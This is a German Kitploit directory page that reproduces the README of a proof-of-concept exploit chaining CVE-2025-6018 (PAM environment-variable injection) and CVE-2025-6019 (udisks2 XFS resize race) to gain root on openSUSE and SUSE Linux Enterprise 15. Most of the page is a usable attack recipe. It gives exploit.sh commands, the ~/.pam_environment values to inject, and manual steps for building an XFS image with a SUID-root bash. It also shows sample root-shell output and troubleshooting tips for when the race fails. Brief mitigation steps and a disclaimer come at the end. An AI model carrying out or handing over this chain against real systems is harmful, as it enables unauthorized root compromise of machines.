Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-6018-6019 — CVE-2025-6018 CVE-2025-6019 PoC Exploit - Lokale Privilegienausweitung in openSUSE/SUSE Linux Enterprise 15 - PAM-Bypass + udisks2 XFS-Race-Condition LPE zu root | Kitploit
Tools/GitHubGitHub/desertdemons/cve-2025-6018-6019
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsPapers & ForschungLernen & BildungBinary-Exploitation
GitHubdesertdemons/cve-2025-6018-6019

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-6018-6019

CVE-2025-6018 CVE-2025-6019 PoC Exploit - Lokale Privilegienausweitung in openSUSE/SUSE Linux Enterprise 15 - PAM-Bypass + udisks2 XFS-Race-Condition LPE zu root

Repository anzeigen
412vor 5 MonatenNoch nicht geprüft

CVE-2025-6018 CVE-2025-6019 PoC Exploit

Lokale Privilegienausweitung (LPE) - openSUSE / SUSE Linux Enterprise 15

CVE-2025-6018 CVE-2025-6019 PoC Exploit License

Funktionierender PoC/Exploit für CVE-2025-6018 und CVE-2025-6019 - Privilegienausweitung von einem unprivilegierten Benutzer zu root auf openSUSE Leap 15.x und SUSE Linux Enterprise 15.x

🎯 Kurzübersicht

CVE-IDSicherheitslückeAuswirkung
CVE-2025-6018PAM-Umgebungsvariablen-InjektionUmgehung des allow_active-Polkit-Status
CVE-2025-6019udisks2/libblockdev XFS Resize Race ConditionRoot-Shell

Angriffskette

root@kitploit:~
Unprivilegierter SSH-Benutzer → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT

🔥 Proof-of-Concept-Demo

root@kitploit:~
# Schwachstelle prüfen
./exploit.sh --check

# PAM-Umgehung einrichten (CVE-2025-6018)
./exploit.sh --setup

# SSH neu verbinden, dann: su - $USER

# Ausnutzen (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img

# Ergebnis: ROOT-SHELL
uid=1000(user) gid=1000(user) euid=0(root)

📥 Installation

root@kitploit:~
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh

🎯 Betroffene Systeme

  • ✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
  • ✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
  • ✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6

⚠️ Hinweis: openSUSE Leap 15.6 erreicht das Ende seiner Lebensdauer am 30. April 2026. Nach diesem Datum werden keine Sicherheitspatches mehr veröffentlicht. Benutzer sollten auf Leap 16.0 oder SLES mit erweitertem Support migrieren.

Angreifbare Komponenten

  • PAM (Linux-PAM 1.3.0 - 1.6.0) mit user_readenv=1
  • udisks2 2.9.x mit libblockdev
  • polkit mit allow_active: yes für udisks2-Aktionen

📖 Verwendung

Option 1: Schwachstelle prüfen

root@kitploit:~
./exploit.sh --check

Option 2: PAM-Umgehung einrichten (CVE-2025-6018)

root@kitploit:~
./exploit.sh --setup
# Dann: SSH trennen, neu verbinden, ausführen: su - $USER

Option 3: Ausnutzen (CVE-2025-6019)

root@kitploit:~
./exploit.sh --exploit /tmp/xfs.img

Option 4: Vollautomatischer Modus

root@kitploit:~
./exploit.sh --auto /tmp/xfs.img

Option 5: Anleitung zur Image-Erstellung anzeigen

root@kitploit:~
./exploit.sh --create-image

🛠️ Erstellen des XFS-Payload-Images

Auf dem ANGREIFER-Rechner als root ausführen:

⚠️ Sie MÜSSEN die /usr/bin/bash-Binärdatei des Ziels verwenden, nicht Ihre lokale. Eine Bash-Binärdatei aus einer anderen Distribution (Kali, Arch, Ubuntu usw.) wird auf dem Ziel aufgrund von glibc/Shared-Library-ABI-Inkompatibilität fehlschlagen – selbst bei derselben x86_64-Architektur.

Verwendung des Hilfsskripts (empfohlen)

Das Skript erkennt automatisch Ihre xfsprogs-Version und wendet die korrekten Flags an:

root@kitploit:~
# Zuerst Bash des Ziels holen
scp user@target:/usr/bin/bash /tmp/victim_bash

# Image erstellen (automatisch sichere mkfs-Flags erkennen)
sudo ./create_image.sh /tmp/victim_bash xfs.img

# Für SUSE 15 SP1-SP4-Ziele (Kernel < 5.14) Kompatibilitätsmodus verwenden:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img

Manuelle Erstellung

root@kitploit:~
sudo su -

# 1. Bash-Binärdatei des Ziels holen
scp user@target:/usr/bin/bash /tmp/bash

# 2. 300 MB XFS-Image mit sicheren Flags erstellen
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img

# 3. Mit SUID-Unterstützung einhängen
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt

# 4. Bash des Ziels kopieren und SUID-Bit setzen
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl  # MUSS zeigen: -rwsr-xr-x

# 5. Aushängen und übertragen
umount /tmp/mnt
scp xfs.img user@target:/tmp/

XFS-Format-Kompatibilität

Das XFS-Image muss mit Flags formatiert werden, die mit dem Ziel-Kernel kompatibel sind. Neuere Versionen von xfsprogs aktivieren standardmäßig On-Disk-Funktionen, die ältere SUSE-Kernel nicht lesen können, was zu Fehlern wie wrong fs type, bad superblock während des udisks2-Resize-Mounts führt.

ZielKernelmkfs.xfs-Befehl
SUSE 15 SP5-SP65.14 / 6.4mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
SUSE 15 SP1-SP44.12 - 5.3mkfs.xfs -f -m crc=0,reflink=0 xfs.img

Warum? exchange und parent sind Kernel 6.10+-Funktionen (standardmäßig aktiv in xfsprogs 6.x). bigtime, inobtcount und nrext64 sind Kernel 5.10+-Funktionen. Der SP1-SP4 „compat"-Befehl (-m crc=0,reflink=0) erstellt ein V4-XFS-Format mit allen modernen Funktionen deaktiviert, das auf jedem SUSE 15 SP funktioniert.

🔬 Technische Details

CVE-2025-6018: PAM-Umgebungsinjektion

Schwachstelle: Das PAM-Modul pam_env liest ~/.pam_environment mit user_readenv=1 (Standard unter SUSE) und ermöglicht so die Injektion von Umgebungsvariablen.

Ausnutzung: Setzen Sie XDG_SEAT=seat0 und XDG_VTNR=1, um systemd-logind dazu zu bringen, allow_active-Polkit-Berechtigungen zu gewähren.

root@kitploit:~
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1

CVE-2025-6019: XFS-Resize-Race-Condition

Schwachstelle: Beim Vergrößern eines XFS-Dateisystems über udisks2 hängt libblockdev das Dateisystem vorübergehend ohne das nosuid-Flag ein.

Ausnutzung:

  1. XFS-Image mit SUID-Root-Binärdatei erstellen
  2. Loop-Gerät einrichten
  3. Resize über D-Bus auslösen
  4. Rennen um die Ausführung der SUID-Binärdatei während des temporären Mounts
  5. Root-Shell erhalten

📋 Vollständige Ausnutzungsschritt-für-Schritt

Schritt 1: Schwachstelle prüfen

root@kitploit:~
./exploit.sh --check

Ausgabe:

root@kitploit:~
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO

Schritt 2: PAM-Umgehung einrichten

root@kitploit:~
./exploit.sh --setup
exit
ssh user@target
su - $USER

Schritt 3: allow_active überprüfen

root@kitploit:~
./exploit.sh --check

Ausgabe:

root@kitploit:~
[+] allow_active status: YES
    You have allow_active privileges!

Schritt 4: XFS-Image übertragen

root@kitploit:~
# Auf Angreifer:
scp xfs.img user@target:/tmp/

Schritt 5: Ausnutzen

root@kitploit:~
./exploit.sh --exploit /tmp/xfs.img

Ausgabe:

root@kitploit:~
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...

=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

root@target#

🔧 Fehlerbehebung

🛡️ Abhilfe

Sofortige Korrektur

root@kitploit:~
# user_readenv in PAM deaktivieren
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth

# Oder udisks2-Polkit-Richtlinie einschränken
# allow_active von "yes" auf "auth_admin" ändern

Hersteller-Patches

  • PAM-, udisks2- und libblockdev-Pakete aktualisieren
  • SUSE-Sicherheitshinweise prüfen

📚 Referenzen

  • Qualys Security Advisory
  • Qualys Technical Write-up
  • SUSE CVE-2025-6018
  • SUSE CVE-2025-6019
  • NVD CVE-2025-6018
  • NVD CVE-2025-6019

🏆 Danksagungen

  • Qualys Threat Research Unit - Ursprüngliche Entdeckung der Schwachstellen
  • DesertDemons - PoC-Exploit-Entwicklung
  • Jazzruran - Fehlerbericht & Korrektur für xfsprogs-Versionskonflikt (#1)

⚠️ Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Unautorisierter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Verantwortung für Missbrauch.

📄 Lizenz

MIT License


🔍 Schlüsselwörter

CVE-2025-6018 CVE-2025-6019 PoC Proof of Concept Exploit Privilege Escalation LPE Local Privilege Escalation Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev


⭐ Star this repo if it helped you! ⭐

Tool herunterladen
ProblemUrsacheLösung
allow_active: NOPAM-Umgehung nicht aktiv--setup ausführen, SSH trennen, neu verbinden, su - $USER ausführen
Image is not XFSFalsches Dateisystemformatmkfs.xfs verwenden, nicht mkfs.ext4
SUID not workingBerechtigungen nicht gesetztAuf Angreifer-Rechner -rwsr-xr-x-Berechtigungen überprüfen
Race condition missedZeitproblemExploit erneut ausführen (funktioniert meist in 1-3 Versuchen)
SUID-Binärdatei stürzt ab oder GLIBC_x.xx not foundBash-Binärdatei von falscher Distribution (glibc/ABI-Inkompatibilität)Bash des Ziels /usr/bin/bash via scp verwenden, nicht Ihre lokale Bash
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other errorXFS-Image mit Funktionen formatiert, die der Ziel-Kernel nicht lesen kann (xfsprogs-Versionskonflikt)Image mit mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img für SP5/SP6 oder mkfs.xfs -f -m crc=0,reflink=0 xfs.img für SP1-SP4 erstellen
XFS
Race Condition
Security
Vulnerability
Pentest